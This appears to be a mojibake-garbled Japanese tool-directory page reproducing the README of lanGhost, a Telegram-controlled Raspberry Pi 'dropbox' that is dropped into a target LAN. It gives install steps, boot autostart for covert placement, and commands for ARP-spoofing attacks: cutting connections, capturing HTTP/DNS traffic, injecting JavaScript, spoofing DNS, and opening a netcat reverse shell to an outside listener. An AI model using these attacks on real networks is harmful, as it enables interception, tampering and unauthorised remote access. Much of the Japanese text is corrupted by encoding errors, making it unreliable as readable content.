
ð» Telegramã§å¶åŸ¡ã§ããLANããããããã¯ã¹ãã£ããããã
ã³ãã¥ããã£ã§æã䜿ãããŠããããŒã«ãèŠã€ããŸãããã
ãã¹ãŠã®ããŒã«ãæ¢çŽ¢
ããŒã«ã³ã¬ã¯ã·ã§ã³ãé²èЧ
ãã¹ãŠã®ããŒã«ãèŠã âlanGhostã¯Raspberry PiïŒRaspbian/Kali for RPiïŒåãã«èšèšãããŠããŸããä»ã®ãã¹ã¯ããããã£ã¹ããªãã¥ãŒã·ã§ã³ã§å®è¡ãããšåé¡ãçºçããããæåŸ éãã«åäœããªãå¯èœæ§ããããŸãã
Raspberry PiãšãSDã«ãŒãã«ã¯ãªãŒã³ãªRaspbian/Kaliãå¿ èŠã§ããããã¯ã°ã©ãŠã³ãã§ä»ã®ãã®ãå®è¡ãããããªãããã§ãã
Piãèµ·åããSSHã·ã§ã«ãååŸããããã¢ãã¿ãŒãšããŒããŒããæ¥ç¶ããŠã次ã®ã³ãã³ããå ¥åããŠãã ããïŒ
$ sudo apt update && sudo apt install python3 python3-pip
$ git clone https://github.com/xdavidhu/lanGhost
$ cd lanGhost
$ sudo ./setup.py
ã»ããã¢ããã¹ã¯ãªããå®è¡äžã¯ã質åã»ã¡ãã»ãŒãžãããèªãã§ãã ããïŒ
[+] Please enter the name of the network interface connected/will
be connected to the target LAN. Default wired interface is 'eth0',
and the default wireless interface is 'wlan0' on most systems, but
you can check it in a different terminal with the 'ifconfig' command.
[+] Please create a Telegram API key by messaging @BotFather on Telegram
with the command '/newbot'.
After this, @BotFather will ask you to choose a name for your bot.
This can be anything you want.
Lastly, @BotFather will ask you for a username for your bot. You have
to choose a unique username here which ends with 'bot'. For
example: xdavidbot. Make note of this username, since later
you will have to search for this to find your bot, which lanGhost
will be running on.
After you send your username of choise to @BotFather, you will recieve
your API key.
[+] Now for lanGhost to only allow access to you, you need to verify yourself.
Send the verification code below TO THE BOT you just created. Just search for your
bot's @username (what you sent to @BotFather) to find it.
[+] Verification code to send: ******
[+] Do you want lanGhost to start on boot? This option is necessary if you are using
this device as a dropbox, because when you are going to drop this device into a
network, you will not have the chanse to start lanGhost remotely! (autostart works
by adding a new cron '@reboot' entry)
/24ãã倧ãããããã¯ãŒã¯ã§ã®lanGhostã®äœ¿çšã¯æšå¥šãããŸãããã¹ãã£ã³ã«æéãããããããããã§ãã
lanGhostã¯éãã§ã¯ãããŸããããã©ãã£ãã¯ãç£èŠããŠãã人ã¯ARPãã±ãããèŠãããšãã§ããŸãïŒ
æé 4/4ïŒèªåèµ·åïŒã§yesãéžæããå ŽåãPiã¯ããããçšã«å®å
šã«ã»ããã¢ãããããŠããŸããlanGhostã¯èµ·åæã«èµ·åããTelegramã«lanGhost started! ð»ãšããã¡ãã»ãŒãžãéä¿¡ããŸãã
æåã«ã©ãã§è©ŠããlanGhostãã¡ãã»ãŒãžã«å¿çããããã¹ãããŠãã ããã
æºåãã§ããããEthernetã±ãŒãã«ãPiã«å·®ã蟌ã¿ãmicro USBã§é»æºãæ¥ç¶ããŠã¿ãŒã²ãããããã¯ãŒã¯ã«æ¥ç¶ããã ãã§ãã
ïŒlanGhostã¯WiFiã§ãåäœããŸãããæåã«wpa_supplicantãèšå®ããŠèªåçã«ãããã¯ãŒã¯ã«æ¥ç¶ããå¿
èŠããããŸãïŒ
/scan - LANãããã¯ãŒã¯ãã¹ãã£ã³ãã
/scanip [TARGET-IP] - ç¹å®ã®IPã¢ãã¬ã¹ãã¹ãã£ã³ãã
/kill [TARGET-IP] - ã¿ãŒã²ããã®ãããã¯ãŒã¯æ¥ç¶ã忢ãã
/mitm [TARGET-IP] - ã¿ãŒã²ããããã®HTTP/DNSãã©ãã£ãã¯ããã£ããã£ãã
/replaceimg [TARGET-IP] - ã¿ãŒã²ããããªã¯ãšã¹ãããHTTPç»åã眮ãæãã
/injectjs [TARGET-IP] [JS-FILE-URL] - ã¿ãŒã²ããããªã¯ãšã¹ãããHTTPããŒãžã«JavaScriptãæ³šå
¥ãã
/spoofdns [TARGET-IP] [DOMAIN] [FAKE-IP] - ã¿ãŒã²ããã®DNSã¬ã³ãŒããåœè£
ãã
/attacks - çŸåšå®è¡äžã®æ»æã衚瀺ãã
/stop [ATTACK-ID] - çŸåšå®è¡äžã®æ»æã忢ãã
/restart - lanGhostãåèµ·åãã
/reversesh [TARGET-IP] [PORT] - ã¿ãŒã²ããã«netcatãªããŒã¹ã·ã§ã«ãäœæãã
/help - ãã«ãã¡ãã¥ãŒã衚瀺ãã
/ping - Pong
/killã/mitmã/replaceimgã/injectjsã/spoofdnsã®ããããã®ã³ãã³ãã䜿çšããŠæ»æãéå§ã§ããŸãã
1ã€ä»¥äžã®æ»æãå®è¡äžã«ãªã£ããã/attackã³ãã³ãã䜿çšããŠãATTACK-IDãå«ãæ»æã®ãªã¹ããååŸã§ããŸãã
æ»æã忢ããã«ã¯/stop [ATTACK-ID]ãšå
¥åããŸãã
/reverseshã¯æå·åãããŠããªãnetcat TCPæ¥ç¶ãäœæããã ãã§ããã¹ãŠã®ãã©ãã£ãã¯ãç£èŠå¯èœã§ãïŒç·æ¥æã®ä¿®æ£ããå¿
èŠã«å¿ããŠæå·åããããªããŒã¹æ¥ç¶ãèšå®ããå Žåã«ã®ã¿äœ¿çšããŠãã ããã
/reverseshã³ãã³ãã¯ãPiãå€éšããã¢ã¯ã»ã¹ã§ããªãå Žåã«ãªããŒã¹ã·ã§ã«ãååŸããããã®ãã®ã§ãã
/reverseshã³ãã³ãã䜿çšããã«ã¯ãã·ã§ã«ãåŸ
ã¡åãããµãŒããŒãå¿
èŠã§ãã
ãµãŒããŒã§ãªã¹ããŒãèµ·åããnetcatã³ãã³ãïŒ
$ nc -l 0.0.0.0 [PORT]
Telegramã³ãã³ãïŒ
/reversesh [IP-of-your-listening-server] [PORT]
/kill - ã¿ãŒã²ããã®ã€ã³ã¿ãŒãããæ¥ç¶ã忢ããŸãã/mitm - ã¿ãŒã²ããããã®HTTPããã³DNSãã©ãã£ãã¯ããã£ããã£ããããã¹ãã¡ãã»ãŒãžã§éä¿¡ããŸãã/replaceimg - ã¿ãŒã²ããã®HTTPç»åãããããã«éä¿¡ããç»åã«çœ®ãæããŸãã/injectjs - ã¿ãŒã²ãããžã®ãã¹ãŠã®HTTP HTMLã¬ã¹ãã³ã¹ã«JavaScriptãæ³šå
¥ããŸããJSãã¡ã€ã«ãèªåã®ãµãŒããŒã§ãã¹ãããURLããã©ã¡ãŒã¿ãšããŠæå®ããå¿
èŠããããŸãã/spoofdns - ã¿ãŒã²ããã®DNSå¿çãåœè£
ããŸãããã¹ãŠã®æ»æã¯ARPã¹ããŒãã£ã³ã°ã䜿çšããŸãïŒ
/scan - ããŒã«ã«ãããã¯ãŒã¯ãã¹ãã£ã³ãããªã³ã©ã€ã³ã®ãã¹ããè¿ããŸãããã¹ãã®çºèŠã«ã¯nmap -snã¹ãã£ã³ã䜿çšããŸãã/scanip - IPã¢ãã¬ã¹ãã¹ãã£ã³ããŠãéããŠããããŒãããã®ä»ã®æ
å ±ãååŸããŸããnmap -sSã¹ãã£ã³ã䜿çšããŸããæ°ããããã€ã¹ããããã¯ãŒã¯ã«æ¥ç¶/é¢è±ãããã³ã«ã¡ãã»ãŒãžãå±ããŸãã
Copyright (c) 2018 by David SchÃŒtz. Some rights reserved.
lanGhostã¯MITã©ã€ã»ã³ã¹ã®æ¡é
ã«åºã¥ããŠãããã©ã€ã»ã³ã¹ãã¡ã€ã«ã«èšèŒãããŠãããã¹ãŠã®æç¢ºåã«åŸããŸããxdavid{at}protonmail{dot}comãŸã§ã¡ãŒã«ã§é£çµ¡ããããšãã§ããŸãã